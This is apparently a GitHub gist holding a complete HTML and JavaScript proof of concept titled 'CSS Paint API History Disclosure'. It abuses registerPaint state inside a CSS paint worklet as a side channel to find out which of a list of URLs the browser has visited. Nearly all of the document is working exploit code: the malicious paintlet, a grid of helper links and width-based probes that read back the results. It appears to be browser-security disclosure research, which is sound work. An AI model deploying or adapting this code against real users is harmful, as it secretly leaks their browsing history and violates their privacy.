Skip to content

Instantly share code, notes, and snippets.

@spinda
Created November 6, 2018 06:47
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 1 You must be signed in to fork a gist
  • Save spinda/555d350ed6a89815358f617a63aa7873 to your computer and use it in GitHub Desktop.
Save spinda/555d350ed6a89815358f617a63aa7873 to your computer and use it in GitHub Desktop.
<!DOCTYPE html>
<html lang="en-US">
<head>
<meta charset="utf-8"/>
<style>
body {
margin: 40pxf;
}
a, button {
cursor: pointer;
}
a.helper {
border: 1px black solid;
background-image: paint(attack);
display: block;
margin: 0.5em;
width: 2px;
height: 2px;
text-decoration: none;
}
a.helper:visited {
outline-color: yellow;
}
a.helper, .probeWrapper, .probe, .probe::after {
cursor: default;
pointer-events: none;
user-select: none;
}
.probeWrapper {
position: absolute;
top: 0;
left: 0;
}
.probe {
display: inline;
}
</style>
</head>
<body>
<h1>CSS Paint API History Disclosure (Amplified)</h1>
<p>Enter a list of URLs to scan for visited status, one per line:</p>
<p><textarea id="urlsInput" rows="8" cols="60" autofocus>https://www.google.com
https://www.facebook.com
https://www.reddit.com/r/chrome
https://www.amazon.com
https://www.ucsd.edu
https://www.spinda.net</textarea></p>
<div id="gridDisplay">
<div id="helpersContainer" style="position: relative; border: 2px white solid">
</div>
<p id="startWrapper"><button id="startButton">Start</button></p>
</div>
<p id="statusOutput"></p>
<p id="resultsHeader"></p>
<ul id="resultsList"></ul>
<p id="retryWrapper" style="display: none">
<button id="retryButton">Run Again</button>
</p>
<script>
(function () {
// Utility function to register a paintlet script from JS source, using
// data: URIs.
function addPaintletFromSource (src, cb) {
var uri =
'data:application/javascript;charset=utf-8;base64,' + btoa(src);
CSS.paintWorklet.addModule(uri).then(cb);
}
// Register our `attack` painter.
addPaintletFromSource(`
class AttackPainter {
static get inputProperties () {
// Use the CSS font-family property as a communication channel from the main
// script.
return ['font-family'];
}
paint (ctx, geom, properties) {
// Retrieve the key corresponding to the target URL.
var targetKey = properties.get('font-family').toString();
// Abuse registerPaint to perform a 1-bit swap operation in persistent state.
try {
// If the painter has *not* been previously executed for the given key,
// this will set the bit for that key.
registerPaint(targetKey, AttackPainter);
} catch (e) {
// Otherwise, a painter-already-registered exception will be thrown, telling is
// the bit has already been set to 1.
try {
// Set another bit in persistent state marking the fact that the painter was
// executed more than once for the given key. This will be observable from the
// main script.
registerPaint(targetKey + '_visited', AttackPainter);
} catch (e2) {}
}
}
}
registerPaint('attack', AttackPainter);
`);
var urlsInput = document.getElementById('urlsInput');
var gridDisplay = document.getElementById('gridDisplay');
var helpersContainer = document.getElementById('helpersContainer');
var startWrapper = document.getElementById('startWrapper');
var startButton = document.getElementById('startButton');
var statusOutput = document.getElementById('statusOutput');
var resultsHeader = document.getElementById('resultsHeader');
var resultsList = document.getElementById('resultsList');
var retryWrapper = document.getElementById('retryWrapper');
var retryButton = document.getElementById('retryButton');
function registerPaintersToKey (start, end, cb) {
addPaintletFromSource(
'class P{paint(){}}' +
'var start=' + start + ';' +
'var end=' + end + ';' +
'for(var i=start;i<end;++i){' +
'try{registerPaint("target_"+i,P)}catch(e){console.error(e)}' +
'}'
, cb);
}
// Utility function to randomly generate a known-unvisited URL.
function generateUnvisitedURL () {
return 'https://' + Date.now() + '/' + Math.random();
}
var targetURLs;
var nextTargetIndex = 0;
var startTimestamp;
// Set up a 128x32 grid of helper links, so we can scan for visited status
// concurrently.
var gridWidth = 256;
var gridHeight = 32;
helpersContainer.style.width = (gridWidth * 5 + 15) + 'px';
helpersContainer.style.height = (gridHeight * 5 + 15) + 'px';
var helperLinks = [];
for (var x = 0; x < gridWidth; ++x) {
for (var y = 0; y < gridHeight; ++y) {
var helperLink = document.createElement('a');
helperLink.className = 'helper';
// Make the helper link point to a known-unvisited URL initially.
helperLink.href = generateUnvisitedURL();
// `fontFamily` is used to communicate the target key string to the
// paintlet script; here we want it to be something unique that
// won't get in the way.
helperLink.style.fontFamily = 'x' + x + 'y' + y;
helperLink.style.position = 'absolute';
helperLink.style.top = (y * 5) + 'px';
helperLink.style.left = (x * 5) + 'px';
// Set the helper link's content to a non-breaking space so it will
// be visible.
helperLink.appendChild(document.createTextNode('\u00a0'));
helpersContainer.appendChild(helperLink);
helperLinks.push(helperLink);
}
}
startButton.addEventListener('click', function () {
startWrapper.remove();
urlsInput.disabled = true;
statusOutput.innerHTML = 'Scanning...';
setTimeout(function () {
// Parse out the list of target URLs to scan.
targetURLs = urlsInput.value
.split('\n')
.map(function (line) {
return line.trim();
})
.filter(function (line) {
return line.length > 0;
});
targetURLs = targetURLs.slice(0, 10);
startTimestamp = performance.now();
scanBatch();
}, 250);
});
var scannedTargetURLs = 0;
// Utility function to generate a stats-report string during scanning.
function computeScanStats () {
var elapsedTime = performance.now() - startTimestamp;
var rate = scannedTargetURLs / (elapsedTime / 1000.0);
return rate + ' / sec (' + elapsedTime + ' ms)';
}
function scanBatch () {
var start = scannedTargetURLs;
var end = Math.min(targetURLs.length, scannedTargetURLs + helperLinks.length);
if (start >= targetURLs.length) {
var elapsedTime = performance.now() - startTimestamp;
statusOutput.innerHTML = computeScanStats(scannedTargetURLs);
gridDisplay.remove();
collectResults();
return;
}
for (var i = 0; i < helperLinks.length; ++i) {
var targetIndex = i + start;
if (targetIndex >= end) {
break;
}
var helperLink = helperLinks[i];
var targetKey = 'target_' + targetIndex;
var controlURL = generateUnvisitedURL();
helperLink.style.fontFamily = targetKey;
helperLink.href = controlURL;
}
requestAnimationFrame(function () {
registerPaintersToKey(start, end, function () {
for (var i = 0; i < helperLinks.length; ++i) {
var targetIndex = i + start;
if (targetIndex >= end) {
break;
}
var helperLink = helperLinks[i];
var targetKey = 'target_' + targetIndex;
var targetURL = targetURLs[targetIndex];
helperLink.href = targetURL;
}
requestAnimationFrame(function () {
requestAnimationFrame(function () {
scannedTargetURLs = end;
var percentComplete = Math.floor(
scannedTargetURLs / targetURLs.length * 100
);
statusOutput.innerHTML =
'Scanning... ' +
scannedTargetURLs + ' (' + percentComplete +
'%) @ ' + computeScanStats();
scanBatch();
});
});
});
});
}
var activeHelperLinks = helperLinks.length;
function handleNextTargetURL (helperLink) {
// If we've scanned all target URLs, move to the result-collection stage
// of the process.
if (nextTargetIndex >= targetURLs.length) {
// Wait for any pending concurrent scans to complete first.
if (--activeHelperLinks > 0) {
return;
}
}
var targetIndex = nextTargetIndex++;
var targetKey = 'target_' + targetIndex;
var controlURL = generateUnvisitedURL();
var targetURL = targetURLs[targetIndex];
// We use `fontFamily` to tell the paintlet script to which keys it
// should register painters for storing scan result bits (see
// the `attack` painter source).
helperLink.style.fontFamily = targetKey;
// Point the helper link to the control URL initially.
helperLink.href = controlURL;
requestAnimationFrame(function () {
// Ensure the bit corresponding to the target key in the global
// persistent state gets set.
registerPainterToKey(targetKey, function () {
// Now point the helper link to the experiment URL. If visited,
// the paintlet will be invoked an extra time. It will see that
// the bit at the target key has already been set, and set
// another bit marking the target as visited which we can
// retrieve later in the collection stage.
helperLink.href = targetURL;
requestAnimationFrame(function () {
// Finally, point the helper link back to the control URL.
helperLink.href = controlURL;
requestAnimationFrame(function () {
// Update the status display at even increments.
++scannedTargetURLs;
if (scannedTargetURLs % 1000 === 0) {
var percentComplete = Math.floor(
scannedTargetURLs / targetURLs.length * 100
);
statusOutput.innerHTML =
'Scanning... ' +
scannedTargetURLs + ' (' + percentComplete +
'%) @ ' + computeScanStats();
}
// Grab the next unprocessed target URL and scan it with
// our helper link.
handleNextTargetURL(helperLink);
});
});
});
});
}
// Advance to the result-collection part of the process.
function collectResults() {
resultsHeader.innerHTML = 'Collecting scan results...';
requestAnimationFrame(function () {
var totalPositiveResults = 0;
sweepAll(targetURLs.length,
function (scannedCount, positiveResults) {
resultsHeader.innerHTML =
'Collecting scan results... ' +
Math.floor(scannedCount / targetURLs.length * 100) + '%';
for (var i = 0; i < positiveResults.length; ++i) {
var targetURL = targetURLs[positiveResults[i]];
var resultLink = document.createElement('a');
resultLink.href = targetURL;
resultLink.appendChild(document.createTextNode(targetURL));
var resultDom = document.createElement('li');
resultDom.appendChild(resultLink);
resultsList.appendChild(resultDom);
}
totalPositiveResults += positiveResults.length;
},
function () {
resultsHeader.innerHTML =
totalPositiveResults > 0
? 'Visited URLs:'
: 'None of the given URLs were detected as visited.';
retryButton.addEventListener('click', function () {
location.reload();
});
retryWrapper.style.removeProperty('display');
}
);
});
}
function sweepAll (count, progressCb, completeCb) {
function step (start) {
if (start >= count) {
completeCb();
return;
}
var stop = start + 1000;
if (stop > count) {
stop = count;
}
sweepBatch(start, stop, function (positiveResults) {
progressCb(stop, positiveResults);
step(stop);
});
}
step(0);
}
function sweepBatch (start, stop, cb) {
var container = document.createElement('div');
var css = '';
function createWrappedProbe (key) {
var probe = document.createElement('div');
probe.className = `probe probe-${key}`;
probe.appendChild(document.createTextNode('\xa0'));
var wrapper = document.createElement('div');
wrapper.className = 'probeWrapper';
wrapper.appendChild(probe);
container.appendChild(wrapper);
css += `.probe-${key}::after { content: paint(${key}); }\n`;
return wrapper;
}
var control = createWrappedProbe('control');
var detectors = [];
for (var i = start; i < stop; ++i) {
detectors.push(createWrappedProbe(`probe_${i}`));
}
var style = document.createElement('style');
style.type = 'text/css';
style.innerHTML = css;
document.head.appendChild(style);
document.body.appendChild(container);
addPaintletFromSource(`
class PlaceholderPainter {
paint (context, geometry, properties) {
}
}
for (var i = ${start}; i < ${stop}; ++i) {
try {
registerPaint('target_' + i + '_visited', PlaceholderPainter);
} catch (e) {
registerPaint('probe_' + i, PlaceholderPainter);
}
}
`, function () {
var baseWidth = control.clientWidth;
var positiveResults = [];
for (var i = 0; i < detectors.length; ++i) {
var detector = detectors[i];
if (detector.clientWidth > baseWidth) {
positiveResults.push(start + i);
}
}
container.remove();
style.remove();
cb(positiveResults);
});
}
})();
</script>
</body>
</html>
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment